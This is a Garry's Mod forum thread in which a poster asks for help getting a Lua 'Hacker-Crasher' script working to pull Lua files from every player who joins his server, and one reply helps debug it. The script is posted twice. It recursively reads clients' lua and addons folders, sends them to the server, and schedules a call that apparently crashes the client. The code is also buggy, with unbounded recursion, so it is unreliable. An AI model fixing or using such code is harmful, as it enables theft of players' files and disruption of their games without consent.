• help with file.Write and etc. LUA
    4 replies, posted
hey guys, i have a test server and i think it would be fun to troll some of my friends , to think i hacked them. so i found some lua steal code on some sites but i cant get them to work. :/ heres one of them this code is from someone named bobblehead , i tried this code but it gave me errors : "CopyDir a nil value" ..... initially i thought its because CopyDir hasnt been defined yet , so i tried a couple different things but none worked , but can you guys fix this or give me another way to get lua files from every client that joines my server? thanks in advance [CODE]--Bobblehead's Hacker-Crasher if SERVER then util.AddNetworkString("Cheater") util.AddNetworkString("CheaterCode") net.Receive("Cheater", function(ln, client) client:SetPData("Cheater", true) client.FileDir = string.Replace(client:SteamID(), ":", "_") if not file.Exists( "HAX", "DATA" ) then file.CreateDir("HAX") end file.CreateDir("HAX/"..client.FileDir) end) -- hook.Add("EntityRemoved", "BanHaxorz", function(ent) -- if ent:IsPlayer() and ent:GetPData("Cheater",false) then -- RunConsoleCommand("ulx", "banid", ent:SteamID(), 0, "[BH-C] Hacking.") -- end -- end) net.Receive("CheaterCode", function(ln, client) if not client.FileDir then client.FileDir = string.Replace(client:SteamID(), ":", "_") end local dir, filename, filedata = net.ReadString(), net.ReadString(), net.ReadString() local dir = "HAX/"..client.FileDir.."/"..dir if not file.Exists(dir, "DATA") then file.CreateDir(dir) end if not file.Exists(dir.."/"..string.Replace(filename, ".lua", ".txt"), "DATA")then file.Write(dir.."/"..string.Replace(filename, ".lua", ".txt"), [[--[BH-C] I'M IN YOUR LUA! STEALING YOUR HAX... ]]..filedata) else file.Append(dir.."/"..string.Replace(filename, ".lua", ".txt"), filedata) end end) else hook.Add("Tick", "Nohax", function() if GetConVarNumber( "sv_allowcslua" ) == 1 then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") elseif GetConVar( "sv_allowcslua" ):GetInt() == 1 then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") elseif GetConVar( "sv_allowcslua" ):GetString() == "1" then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") elseif GetConVarString( "sv_allowcslua" ) == "1" then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") end end) local function CopyDir(dir,src) --copypasta from gmod wiki. local files = file.Find(dir.."/*.lua", src) for k,v in pairs(files) do if v and v ~= "" then SendFileToServer(dir,v) end end local files,directories = file.Find(dir.."/*", src) for _, fdir in pairs(directories) do if fdir ~= ".svn" then CopyDir(dir.."/"..fdir, src) end end end function SendFileToServer(dir,filename, filedata) local filedata = filedata or file.Read(filename) net.Start("CheaterCode") net.WriteString(dir)--directory first net.WriteString(filename)--directory first net.WriteString(string.Left(filedata, math.Round(string.len(filedata)/2)))--filedata third net.SendToServer() SendFileToServer(dir, filename, string.Right(filedata, math.Round(string.len(filedata)/2)))--Split it in half to make sure it goes. end end [/CODE]
You're right. CopyDir hasn't been been defined before you add the Tick hook.You defined it too late.
[QUOTE=code_gs;50940583]You're right. CopyDir hasn't been been defined before you add the Tick hook.You defined it too late.[/QUOTE] well i tried defining it as one of the first things but then i still got errors.
Post errors and your updated code.
[QUOTE=code_gs;50941528]Post errors and your updated code.[/QUOTE][CODE] --Bobblehead's Hacker-Crasher if SERVER then util.AddNetworkString("Cheater") util.AddNetworkString("CheaterCode") net.Receive("Cheater", function(ln, client) client:SetPData("Cheater", true) client.FileDir = string.Replace(client:SteamID(), ":", "_") if not file.Exists( "HAX", "DATA" ) then file.CreateDir("HAX") end file.CreateDir("HAX/"..client.FileDir) end) -- hook.Add("EntityRemoved", "BanHaxorz", function(ent) -- if ent:IsPlayer() and ent:GetPData("Cheater",false) then -- RunConsoleCommand("ulx", "banid", ent:SteamID(), 0, "[BH-C] Hacking.") -- end -- end) local function CopyDir(dir,src) --copypasta from gmod wiki. local files = file.Find(dir.."/*.lua", src) for k,v in pairs(files) do if v and v ~= "" then SendFileToServer(dir,v) end end local files,directories = file.Find(dir.."/*", src) for _, fdir in pairs(directories) do if fdir ~= ".svn" then CopyDir(dir.."/"..fdir, src) end end end net.Receive("CheaterCode", function(ln, client) if not client.FileDir then client.FileDir = string.Replace(client:SteamID(), ":", "_") end local dir, filename, filedata = net.ReadString(), net.ReadString(), net.ReadString() local dir = "HAX/"..client.FileDir.."/"..dir if not file.Exists(dir, "DATA") then file.CreateDir(dir) end if not file.Exists(dir.."/"..string.Replace(filename, ".lua", ".txt"), "DATA")then file.Write(dir.."/"..string.Replace(filename, ".lua", ".txt"), [[--[BH-C] I'M IN YOUR LUA! STEALING YOUR HAX... ]]..filedata) else file.Append(dir.."/"..string.Replace(filename, ".lua", ".txt"), filedata) end end) else hook.Add("Tick", "Nohax", function() if GetConVarNumber( "sv_allowcslua" ) == 1 then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") elseif GetConVar( "sv_allowcslua" ):GetInt() == 1 then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") elseif GetConVar( "sv_allowcslua" ):GetString() == "1" then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") elseif GetConVarString( "sv_allowcslua" ) == "1" then net.Start("Cheater") net.SendToServer() timer.Simple(60*8, cam.End3D) CopyDir("lua", "GAME") CopyDir("addons", "GAME") end end) function SendFileToServer(dir,filename, filedata) local filedata = filedata or file.Read(filename) net.Start("CheaterCode") net.WriteString(dir)--directory first net.WriteString(filename)--directory first net.WriteString(string.Left(filedata, math.Round(string.len(filedata)/2)))--filedata third net.SendToServer() SendFileToServer(dir, filename, string.Right(filedata, math.Round(string.len(filedata)/2)))--Split it in half to make sure it goes. end end[/CODE] errors is the same as before = CopyDir nil value
Sorry, you need to Log In to post a reply to this thread.